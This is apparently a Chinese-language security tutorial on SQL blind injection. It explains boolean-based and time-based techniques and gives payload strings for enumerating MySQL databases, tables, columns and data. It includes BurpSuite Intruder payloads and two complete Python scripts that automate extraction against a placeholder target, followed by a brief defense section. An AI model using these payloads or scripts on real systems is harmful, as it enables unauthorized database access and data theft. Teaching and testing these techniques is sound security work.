SQL盲注的简单分析
字数 1426 2025-08-25 22:58:34
SQL盲注全面解析与实战指南
一、SQL盲注概述
SQL盲注是SQL注入的一种特殊形式,当应用程序存在SQL注入漏洞但不会在页面上直接显示数据库错误信息或查询结果时使用。攻击者通过观察页面响应差异(如布尔状态或时间延迟)来推断数据库信息。
1.1 盲注类型
- 布尔盲注:根据页面返回正常/错误状态判断条件真假
- 时间盲注:通过观察响应时间延迟判断条件真假
- 基于错误的盲注:通过触发特定错误间接获取信息(本文未涉及)
1.2 盲注利用前提
- 页面没有显示位
- 没有输出SQL语句执行错误信息
- 只能通过页面返回状态或响应时间判断注入结果
二、布尔盲注详解
2.1 核心原理
利用条件语句使页面返回不同状态:
" or (条件表达式)--+
当条件为真时页面返回正常,为假时返回异常。
2.2 关键函数
length()- 返回字符串长度substr(string, start, length)- 截取字符串(注意:SQL中偏移从1开始)ascii()- 返回字符的ASCII码count()- 返回指定列值的数目
2.3 攻击流程
2.3.1 判断数据库信息
- 数据库数量:
(select count(schema_name) from information_schema.schemata)>n
- 数据库名长度:
(select length(schema_name) from information_schema.schemata limit 0,1)>n
- 数据库名字符:
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n
2.3.2 判断数据表信息
- 表名长度:
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=n
- 表名字符:
(select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=n
2.3.3 判断列信息
- 列名长度:
(select length(column_name) from information_schema.columns where table_name='表名' and table_schema=database() limit 0,1)=n
- 列名字符:
(select ascii(substr((select column_name from information_schema.columns where table_name='表名' and table_schema=database() limit 0,1),1,1)))=n
2.3.4 提取数据
- 数据长度:
(select length(列名) from 数据库名.表名 limit 0,1)=n
- 数据内容:
(select ascii(substr((select 列名 from 数据库名.表名 limit 0,1),1,1)))=n
2.4 实战方法
方法一:手工盲注(二分法)
- 确定闭合方式(单引号/双引号等)
- 使用二分法逐步缩小字符ASCII码范围
- 示例:
" or (ascii(substr(database(),1,1))>80)--+ # 正常
" or (ascii(substr(database(),1,1))>104)--+ # 异常
" or (ascii(substr(database(),1,1))>92)--+ # 正常
...
方法二:BurpSuite半自动化
-
使用Intruder模块设置两个变量:
- 位置变量(字符位置)
- ASCII码变量(字符值)
-
Payload示例:
" or (ascii(substr(database(),§1§,1))=§32§)--+
- 根据返回长度/状态判断正确值
方法三:Python脚本自动化
import requests
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url = "目标URL"
postdata = {'username': '" or 1=1#', 'password': 'admin'}
r = requests.post(url, data=postdata)
length = len(r.text)
def blind_inject(url, length):
result = ''
payload = '" or ascii(substr(database(),{0},1))={1} #'
for i in range(1,40):
for x in chars:
char_ascii = ord(x)
payloads = payload.format(i, char_ascii)
postdata = {'username': payloads, 'password': 'admin'}
r = requests.post(url, data=postdata)
if len(r.text) == length:
result += x
print(result)
break
return result
三、时间盲注详解
3.1 核心原理
利用条件语句触发时间延迟:
'" or if(条件,sleep(5),1)#
当条件为真时页面响应延迟,为假时正常响应。
3.2 关键函数
sleep(n)- 延迟n秒if(expr1,expr2,expr3)- 条件判断- 其他函数同布尔盲注
3.3 攻击流程
3.3.1 判断数据库信息
- 数据库数量:
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)
- 数据库名长度:
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)
- 数据库名字符:
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)
3.3.2 判断数据表信息
- 表名长度:
if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=n,sleep(5),1)
- 表名字符:
if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=n,sleep(5),1)
3.3.3 判断列信息
- 列名长度:
if((select length(column_name) from information_schema.columns where table_name='表名' and table_schema=database() limit 0,1)=n,sleep(5),1)
- 列名字符:
if((select ascii(substr((select column_name from information_schema.columns where table_name='表名' and table_schema=database() limit 0,1),1,1)))=n,sleep(5),1)
3.3.4 提取数据
- 数据长度:
if((select length(列名) from 数据库名.表名 limit 0,1)=n,sleep(5),1)
- 数据内容:
if((select ascii(substr((select 列名 from 数据库名.表名 limit 0,1),1,1)))=n,sleep(5),1)
3.4 实战方法
方法一:手工盲注
- 测试闭合方式
- 使用二分法逐步测试
- 示例:
'" or if((ascii(substr(database(),1,1))>80),sleep(5),1)--+ # 延迟
'" or if((ascii(substr(database(),1,1))>104),sleep(5),1)--+ # 不延迟
...
方法二:BurpSuite半自动化
- Payload示例:
" or if((ascii(substr(database(),§1§,1))=§32§),sleep(5),1)--+
- 根据响应时间(Timer>5000)判断正确值
方法三:Python脚本自动化
import requests
import time
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url = "目标URL"
result = ''
payload = "'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #"
for i in range(1,40):
for x in chars:
char_ascii = ord(x)
payloads = payload.format(i, char_ascii)
start = time.time()
postdata = {'username': payloads, 'password': 'admin'}
r = requests.post(url, data=postdata)
if (time.time() - start) >= 5:
result += x
print(result)
break
四、盲注的扩展利用
4.1 Order By注入中的盲注
在Order By子句注入中可利用时间盲注:
?order=if(1=1,1,sleep(5)) # 正常响应
?order=if(1=2,1,sleep(5)) # 延迟响应
4.2 其他场景应用
- 登录绕过
- 数据泄露
- 权限提升
五、防御措施
5.1 根本解决方案
- 使用参数化查询(预编译语句)
- 使用ORM框架
- 最小权限原则
5.2 输入验证与过滤
- 白名单验证输入格式
- 转义特殊字符
- 类型强制转换
5.3 其他措施
- 错误信息处理
- WAF防护
- 定期安全测试
六、总结
SQL盲注是一种需要耐心和技巧的攻击方式,通过本文我们掌握了:
- 布尔盲注和时间盲注的原理与区别
- 三种实战方法:手工、BurpSuite半自动、脚本全自动
- 完整的攻击流程:从数据库→表→列→数据的逐步获取
- 有效的防御措施
理解这些技术不仅有助于安全测试,更能帮助开发者构建更安全的应用程序。